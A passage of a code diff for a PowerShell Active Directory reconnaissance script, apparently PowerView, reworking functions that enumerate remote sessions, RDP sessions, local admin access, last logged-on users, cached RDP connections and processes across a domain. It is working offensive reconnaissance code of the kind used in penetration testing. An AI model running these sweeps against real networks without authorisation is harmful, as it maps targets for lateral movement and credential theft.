- (2351) {Write-Debug 'The computer name is not valid.'}
- (2221) {Write-Debug 'Username not found.'}
- (53) {Write-Debug 'Hostname could not be found'}
- }
+
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else
+ {
+ switch ($Result) {
+ (5) {Write-Debug 'The user does not have access to the requested information.'}
+ (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
+ (87) {Write-Debug 'The specified parameter is not valid.'}
+ (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
+ (8) {Write-Debug 'Insufficient memory is available.'}
+ (2312) {Write-Debug 'A session does not exist with the computer name.'}
+ (2351) {Write-Debug 'The computer name is not valid.'}
+ (2221) {Write-Debug 'Username not found.'}
+ (53) {Write-Debug 'Hostname could not be found'}
}
}
}
-function Get-NetSession {
+filter Get-NetSession {
<#
.SYNOPSIS
@@ -6619,7 +7554,7 @@ function Get-NetSession {
SESSION_INFO_10 structure. A representation of the SESSION_INFO_10
result structure which includes the host and username associated
- with active sessions.
+ with active sessions, with the ComputerName added.
.EXAMPLE
@@ -6633,6 +7568,12 @@ function Get-NetSession {
Returns active sessions on the 'sqlserver' host.
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainController | Get-NetSession
+
+ Returns active sessions on all domain controllers.
+
.LINK
http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/
@@ -6642,80 +7583,73 @@ function Get-NetSession {
param(
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
- [String]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
$ComputerName = 'localhost',
[String]
$UserName = ''
)
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
- }
-
- process {
-
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
-
- # arguments for NetSessionEnum
- $QueryLevel = 10
- $PtrInfo = [IntPtr]::Zero
- $EntriesRead = 0
- $TotalRead = 0
- $ResumeHandle = 0
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
- # get session information
- $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
+ # arguments for NetSessionEnum
+ $QueryLevel = 10
+ $PtrInfo = [IntPtr]::Zero
+ $EntriesRead = 0
+ $TotalRead = 0
+ $ResumeHandle = 0
- # Locate the offset of the initial intPtr
- $Offset = $PtrInfo.ToInt64()
+ # get session information
+ $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
- Write-Debug "Get-NetSession result: $Result"
+ # Locate the offset of the initial intPtr
+ $Offset = $PtrInfo.ToInt64()
- # 0 = success
- if (($Result -eq 0) -and ($Offset -gt 0)) {
+ Write-Debug "Get-NetSession result for $Computer : $Result"
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $SESSION_INFO_10::GetSize()
+ # 0 = success
+ if (($Result -eq 0) -and ($Offset -gt 0)) {
- # parse all the result structures
- for ($i = 0; ($i -lt $EntriesRead); $i++) {
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $SESSION_INFO_10
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $SESSION_INFO_10::GetSize()
- # return all the sections of the structure
- $Info | Select-Object *
- $Offset = $NewIntPtr.ToInt64()
- $Offset += $Increment
+ # parse all the result structures
+ for ($i = 0; ($i -lt $EntriesRead); $i++) {
+ # create a new int ptr at the given offset and cast
+ # the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $SESSION_INFO_10
- }
- # free up the result buffer
- $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ # return all the sections of the structure
+ $Sessions = $Info | Select-Object *
+ $Sessions | Add-Member Noteproperty 'ComputerName' $Computer
+ $Offset = $NewIntPtr.ToInt64()
+ $Offset += $Increment
+ $Sessions
}
- else
- {
- switch ($Result) {
- (5) {Write-Debug 'The user does not have access to the requested information.'}
- (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
- (87) {Write-Debug 'The specified parameter is not valid.'}
- (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
- (8) {Write-Debug 'Insufficient memory is available.'}
- (2312) {Write-Debug 'A session does not exist with the computer name.'}
- (2351) {Write-Debug 'The computer name is not valid.'}
- (2221) {Write-Debug 'Username not found.'}
- (53) {Write-Debug 'Hostname could not be found'}
- }
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ }
+ else
+ {
+ switch ($Result) {
+ (5) {Write-Debug 'The user does not have access to the requested information.'}
+ (124) {Write-Debug 'The value specified for the level parameter is not valid.'}
+ (87) {Write-Debug 'The specified parameter is not valid.'}
+ (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'}
+ (8) {Write-Debug 'Insufficient memory is available.'}
+ (2312) {Write-Debug 'A session does not exist with the computer name.'}
+ (2351) {Write-Debug 'The computer name is not valid.'}
+ (2221) {Write-Debug 'Username not found.'}
+ (53) {Write-Debug 'Hostname could not be found'}
}
}
}
-function Get-NetRDPSession {
+filter Get-NetRDPSession {
<#
.SYNOPSIS
@@ -6742,132 +7676,130 @@ function Get-NetRDPSession {
PS C:\> Get-NetRDPSession -ComputerName "sqlserver"
Returns active RDP/terminal sessions on the 'sqlserver' host.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetDomainController | Get-NetRDPSession
+
+ Returns active RDP/terminal sessions on all domain controllers.
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
[Alias('HostName')]
- [String]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
$ComputerName = 'localhost'
)
-
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
- }
-
- process {
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
- # open up a handle to the Remote Desktop Session host
- $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName)
+ # open up a handle to the Remote Desktop Session host
+ $Handle = $Wtsapi32::WTSOpenServerEx($Computer)
- # if we get a non-zero handle back, everything was successful
- if ($Handle -ne 0) {
+ # if we get a non-zero handle back, everything was successful
+ if ($Handle -ne 0) {
- Write-Debug "WTSOpenServerEx handle: $Handle"
+ Write-Debug "WTSOpenServerEx handle: $Handle"
- # arguments for WTSEnumerateSessionsEx
- $ppSessionInfo = [IntPtr]::Zero
- $pCount = 0
-
- # get information on all current sessions
- $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount)
+ # arguments for WTSEnumerateSessionsEx
+ $ppSessionInfo = [IntPtr]::Zero
+ $pCount = 0
+
+ # get information on all current sessions
+ $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount)
- # Locate the offset of the initial intPtr
- $Offset = $ppSessionInfo.ToInt64()
+ # Locate the offset of the initial intPtr
+ $Offset = $ppSessionInfo.ToInt64()
- Write-Debug "WTSEnumerateSessionsEx result: $Result"
- Write-Debug "pCount: $pCount"
+ Write-Debug "WTSEnumerateSessionsEx result: $Result"
+ Write-Debug "pCount: $pCount"
- if (($Result -ne 0) -and ($Offset -gt 0)) {
+ if (($Result -ne 0) -and ($Offset -gt 0)) {
- # Work out how mutch to increment the pointer by finding out the size of the structure
- $Increment = $WTS_SESSION_INFO_1::GetSize()
+ # Work out how mutch to increment the pointer by finding out the size of the structure
+ $Increment = $WTS_SESSION_INFO_1::GetSize()
- # parse all the result structures
- for ($i = 0; ($i -lt $pCount); $i++) {
-
- # create a new int ptr at the given offset and cast
- # the pointer as our result structure
- $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
- $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
+ # parse all the result structures
+ for ($i = 0; ($i -lt $pCount); $i++) {
+
+ # create a new int ptr at the given offset and cast
+ # the pointer as our result structure
+ $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
+ $Info = $NewIntPtr -as $WTS_SESSION_INFO_1
- $RDPSession = New-Object PSObject
+ $RDPSession = New-Object PSObject
- if ($Info.pHostName) {
- $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
- }
- else {
- # if no hostname returned, use the specified hostname
- $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName
- }
+ if ($Info.pHostName) {
+ $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName
+ }
+ else {
+ # if no hostname returned, use the specified hostname
+ $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer
+ }
- $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
+ $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName
- if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
- # if a domain isn't returned just use the username
- $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
- }
- else {
- $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
- }
+ if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) {
+ # if a domain isn't returned just use the username
+ $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)"
+ }
+ else {
+ $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)"
+ }
- $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
- $RDPSession | Add-Member Noteproperty 'State' $Info.State
+ $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID
+ $RDPSession | Add-Member Noteproperty 'State' $Info.State
- $ppBuffer = [IntPtr]::Zero
- $pBytesReturned = 0
+ $ppBuffer = [IntPtr]::Zero
+ $pBytesReturned = 0
- # query for the source client IP with WTSQuerySessionInformation
- # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
- $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned)
+ # query for the source client IP with WTSQuerySessionInformation
+ # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx
+ $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned)
- $Offset2 = $ppBuffer.ToInt64()
- $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
- $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
+ $Offset2 = $ppBuffer.ToInt64()
+ $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2
+ $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS
- $SourceIP = $Info2.Address
- if($SourceIP[2] -ne 0) {
- $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
- }
- else {
- $SourceIP = $Null
- }
+ $SourceIP = $Info2.Address
+ if($SourceIP[2] -ne 0) {
+ $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5]
+ }
+ else {
+ $SourceIP = $Null
+ }
- $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
- $RDPSession
+ $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP
+ $RDPSession
- # free up the memory buffer
- $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
+ # free up the memory buffer
+ $Null = $Wtsapi32::WTSFreeMemory($ppBuffer)
- $Offset += $Increment
- }
- # free up the memory result buffer
- $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
+ $Offset += $Increment
}
- # Close off the service handle
- $Null = $Wtsapi32::WTSCloseServer($Handle)
- }
- else {
- # otherwise it failed - get the last error
- # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
- $Err = $Kernel32::GetLastError()
- Write-Verbuse "LastError: $Err"
+ # free up the memory result buffer
+ $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount)
}
+ # Close off the service handle
+ $Null = $Wtsapi32::WTSCloseServer($Handle)
+ }
+ else {
+ # otherwise it failed - get the last error
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
+ $Err = $Kernel32::GetLastError()
+ Write-Verbose "LastError: $Err"
}
}
-function Invoke-CheckLocalAdminAccess {
+filter Invoke-CheckLocalAdminAccess {
<#
.SYNOPSIS
- This function will use the OpenSCManagerW Win32API call to to establish
+ This function will use the OpenSCManagerW Win32API call to establish
a handle to the remote host. If this succeeds, the current user context
has local administrator acess to the target.
@@ -6890,6 +7822,12 @@ function Invoke-CheckLocalAdminAccess {
Returns active sessions on the local host.
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
+
+ Sees what machines in the domain the current user has access to.
+
.LINK
https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb
@@ -6899,46 +7837,119 @@ function Invoke-CheckLocalAdminAccess {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
- [String]
[Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
$ComputerName = 'localhost'
)
- begin {
- if ($PSBoundParameters['Debug']) {
- $DebugPreference = 'Continue'
- }
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # 0xF003F - SC_MANAGER_ALL_ACCESS
+ # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
+ $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F)
+
+ Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle"
+
+ $IsAdmin = New-Object PSObject
+ $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer
+
+ # if we get a non-zero handle back, everything was successful
+ if ($Handle -ne 0) {
+ # Close off the service handle
+ $Null = $Advapi32::CloseServiceHandle($Handle)
+ $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True
+ }
+ else {
+ # otherwise it failed - get the last error
+ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
+ $Err = $Kernel32::GetLastError()
+ Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err"
+ $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False
}
- process {
+ $IsAdmin
+}
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
- # 0xF003F - SC_MANAGER_ALL_ACCESS
- # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
- $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F)
+filter Get-SiteName {
+<#
+ .SYNOPSIS
- Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle"
+ This function will use the DsGetSiteName Win32API call to look up the
+ name of the site where a specified computer resides.
- # if we get a non-zero handle back, everything was successful
- if ($Handle -ne 0) {
- # Close off the service handle
- $Null = $Advapi32::CloseServiceHandle($Handle)
- $True
- }
- else {
- # otherwise it failed - get the last error
- # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx
- $Err = $Kernel32::GetLastError()
- Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err"
- $False
- }
+ .PARAMETER ComputerName
+
+ The hostname to look the site up for, default to localhost.
+
+ .EXAMPLE
+
+ PS C:\> Get-SiteName -ComputerName WINDOWS1
+
+ Returns the site for WINDOWS1.testlab.local.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Invoke-CheckLocalAdminAccess
+
+ Returns the sites for every machine in AD.
+#>
+ [CmdletBinding()]
+ param(
+ [Parameter(ValueFromPipeline=$True)]
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = $Env:ComputerName
+ )
+
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ # if we get an IP address, try to resolve the IP to a hostname
+ if($Computer -match '^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$') {
+ $IPAddress = $Computer
+ $Computer = [System.Net.Dns]::GetHostByAddress($Computer)
}
+ else {
+ $IPAddress = @(Get-IPAddress -ComputerName $Computer)[0].IPAddress
+ }
+
+ $PtrInfo = [IntPtr]::Zero
+
+ $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo)
+ Write-Debug "Get-SiteName result for $Computer : $Result"
+
+ $ComputerSite = New-Object PSObject
+ $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer
+ $ComputerSite | Add-Member Noteproperty 'IPAddress' $IPAddress
+
+ if ($Result -eq 0) {
+ $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo)
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename
+ }
+ elseif($Result -eq 1210) {
+ Write-Verbose "Computername '$Computer' is not in a valid form."
+ $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR'
+ }
+ elseif($Result -eq 1919) {
+ Write-Verbose "Computer '$Computer' is not in a site"
+
+ $ComputerSite | Add-Member Noteproperty 'SiteName' $Null
+ }
+ else {
+ Write-Verbose "Error"
+ $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR'
+ }
+
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
+ $ComputerSite
}
-function Get-LastLoggedOn {
+filter Get-LastLoggedOn {
<#
.SYNOPSIS
@@ -6953,6 +7964,10 @@ function Get-LastLoggedOn {
The hostname to query for the last logged on user.
Defaults to the localhost.
+ .PARAMETER Credential
+
+ A [Management.Automation.PSCredential] object for the remote connection.
+
.EXAMPLE
PS C:\> Get-LastLoggedOn
@@ -6964,38 +7979,58 @@ function Get-LastLoggedOn {
PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1
Returns the last user logged onto WINDOWS1
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-LastLoggedOn
+
+ Returns the last user logged onto all machines in the domain.
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
- [String]
- [Alias('HostName')]
- $ComputerName = "."
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
+
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
+ # HKEY_LOCAL_MACHINE
+ $HKLM = 2147483650
- # try to open up the remote registry key to grab the last logged on user
- try {
- $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv"
- $HKLM = 2147483650
- $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
- $Value = "LastLoggedOnUser"
- $Reg.GetStringValue($HKLM, $Key, $Value).sValue
+ # try to open up the remote registry key to grab the last logged on user
+ try {
+
+ if($Credential) {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
}
- catch {
- Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled."
- $Null
+ else {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
}
+
+ $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI"
+ $Value = "LastLoggedOnUser"
+ $LastUser = $Reg.GetStringValue($HKLM, $Key, $Value).sValue
+
+ $LastLoggedOn = New-Object PSObject
+ $LastLoggedOn | Add-Member Noteproperty 'ComputerName' $Computer
+ $LastLoggedOn | Add-Member Noteproperty 'LastLoggedOn' $LastUser
+ $LastLoggedOn
+ }
+ catch {
+ Write-Warning "[!] Error opening remote registry on $Computer. Remote registry likely not enabled."
}
}
-function Get-CachedRDPConnection {
+filter Get-CachedRDPConnection {
<#
.SYNOPSIS
@@ -7011,14 +8046,9 @@ function Get-CachedRDPConnection {
The hostname to query for RDP client information.
Defaults to localhost.
- .PARAMETER RemoteUserName
-
- The "domain\username" to use for the WMI call on the remote system.
- If supplied, 'RemotePassword' must be supplied as well.
-
- .PARAMETER RemotePassword
+ .PARAMETER Credential
- The password to use for the WMI call on a remote system.
+ A [Management.Automation.PSCredential] object for the remote connection.
.EXAMPLE
@@ -7034,105 +8064,99 @@ function Get-CachedRDPConnection {
.EXAMPLE
- PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -RemoteUserName DOMAIN\user -RemotePassword Password123!
+ PS C:\> Get-CachedRDPConnection -ComputerName WINDOWS2.testlab.local -Credential $Cred
Returns the RDP connection client information for the WINDOWS2.testlab.local machine using alternate credentials.
+
+ .EXAMPLE
+
+ PS C:\> Get-NetComputer | Get-CachedRDPConnection
+
+ Get cached RDP information for all machines in the domain.
#>
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
- [String]
- $ComputerName = "localhost",
-
- [String]
- $RemoteUserName,
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = 'localhost',
- [String]
- $RemotePassword
+ [Management.Automation.PSCredential]
+ $Credential
)
- begin {
- if ($RemoteUserName -and $RemotePassword) {
- $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force
- $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password)
- }
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
- # HKEY_USERS
- $HKU = 2147483651
- }
-
- process {
-
- try {
- if($Credential) {
- $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -Credential $Credential -ErrorAction SilentlyContinue
- }
- else {
- $Reg = Get-Wmiobject -List 'StdRegProv' -Namespace root\default -Computername $ComputerName -ErrorAction SilentlyContinue
- }
- }
- catch {
- Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host"
- }
+ # HKEY_USERS
+ $HKU = 2147483651
- if(!$Reg) {
- Write-Warning "Error accessing $ComputerName, likely insufficient permissions or firewall rules on host"
+ try {
+ if($Credential) {
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -Credential $Credential -ErrorAction SilentlyContinue
}
else {
- # extract out the SIDs of domain users in this hive
- $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
-
- foreach ($UserSID in $UserSIDs) {
-
- try {
- $UserName = Convert-SidToName $UserSID
+ $Reg = Get-WmiObject -List 'StdRegProv' -Namespace root\default -Computername $Computer -ErrorAction SilentlyContinue
+ }
- # pull out all the cached RDP connections
- $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
+ # extract out the SIDs of domain users in this hive
+ $UserSIDs = ($Reg.EnumKey($HKU, "")).sNames | ? { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' }
- foreach ($Connection in $ConnectionKeys) {
- # make sure this key is a cached connection
- if($Connection -match 'MRU.*') {
- $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
-
- $FoundConnection = New-Object PSObject
- $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName
- $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
- $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
- $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
- $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
- $FoundConnection
- }
- }
+ foreach ($UserSID in $UserSIDs) {
- # pull out all the cached server info with username hints
- $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
+ try {
+ $UserName = Convert-SidToName $UserSID
- foreach ($Server in $ServerKeys) {
+ # pull out all the cached RDP connections
+ $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames
- $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
+ foreach ($Connection in $ConnectionKeys) {
+ # make sure this key is a cached connection
+ if($Connection -match 'MRU.*') {
+ $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue
$FoundConnection = New-Object PSObject
- $FoundConnection | Add-Member Noteproperty 'ComputerName' $ComputerName
+ $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
$FoundConnection | Add-Member Noteproperty 'UserName' $UserName
$FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
- $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
- $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
- $FoundConnection
+ $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer
+ $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null
+ $FoundConnection
}
-
}
- catch {
- Write-Debug "Error: $_"
+
+ # pull out all the cached server info with username hints
+ $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames
+
+ foreach ($Server in $ServerKeys) {
+
+ $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue
+
+ $FoundConnection = New-Object PSObject
+ $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer
+ $FoundConnection | Add-Member Noteproperty 'UserName' $UserName
+ $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID
+ $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server
+ $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint
+ $FoundConnection
}
+
+ }
+ catch {
+ Write-Debug "Error: $_"
}
}
+
+ }
+ catch {
+ Write-Warning "Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_"
}
}
-function Get-NetProcess {
+filter Get-NetProcess {
<#
.SYNOPSIS
@@ -7142,14 +8166,9 @@ function Get-NetProcess {
The hostname to query processes. Defaults to the local host name.
- .PARAMETER RemoteUserName
-
- The "domain\username" to use for the WMI call on a remote system.
- If supplied, 'RemotePassword' must be supplied as well.
-
- .PARAMETER RemotePassword
+ .PARAMETER Credential
- The password to use for the WMI call on a remote system.
+ A [Management.Automation.PSCredential] object for the remote connection.
.EXAMPLE
@@ -7161,74 +8180,40 @@ function Get-NetProcess {
[CmdletBinding()]
param(
[Parameter(ValueFromPipeline=$True)]
- [String]
- $ComputerName,
-
- [String]
- $RemoteUserName,
+ [Alias('HostName')]
+ [Object[]]
+ [ValidateNotNullOrEmpty()]
+ $ComputerName = [System.Net.Dns]::GetHostName(),
- [String]
- $RemotePassword
+ [Management.Automation.PSCredential]
+ $Credential
)
- process {
-
- if($ComputerName) {
- # process multiple host object types from the pipeline
- $ComputerName = Get-NameField -Object $ComputerName
+ # extract the computer name from whatever object was passed on the pipeline
+ $Computer = $ComputerName | Get-NameField
+
+ try {
+ if($Credential) {
+ $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential
}
else {
- # default to the local hostname
- $ComputerName = [System.Net.Dns]::GetHostName()
+ $Processes = Get-WMIobject -Class Win32_process -ComputerName $ComputerName
}
- $Credential = $Null
-
- if($RemoteUserName) {
- if($RemotePassword) {
- $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force
- $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password)
-
- # try to enumerate the processes on the remote machine using the supplied credential
- try {
- Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object {
- $Owner = $_.getowner();
- $Process = New-Object PSObject
- $Process | Add-Member Noteproperty 'ComputerName' $ComputerName
- $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
- $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
- $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
- $Process | Add-Member Noteproperty 'User' $Owner.User
- $Process
- }
- }
- catch {
- Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_"
- }
- }
- else {
- Write-Warning "[!] RemotePassword must also be supplied!"
- }
- }
- else {
- # try to enumerate the processes on the remote machine
- try {
- Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object {
- $Owner = $_.getowner();
- $Process = New-Object PSObject
- $Process | Add-Member Noteproperty 'ComputerName' $ComputerName
- $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
- $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID
- $Process | Add-Member Noteproperty 'Domain' $Owner.Domain
- $Process | Add-Member Noteproperty 'User' $Owner.User
- $Process
- }
- }
- catch {
- Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_"
- }
+ $Processes | ForEach-Object {
+ $Owner = $_.getowner();
+ $Process = New-Object PSObject
+ $Process | Add-Member Noteproperty 'ComputerName' $Computer
+ $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName
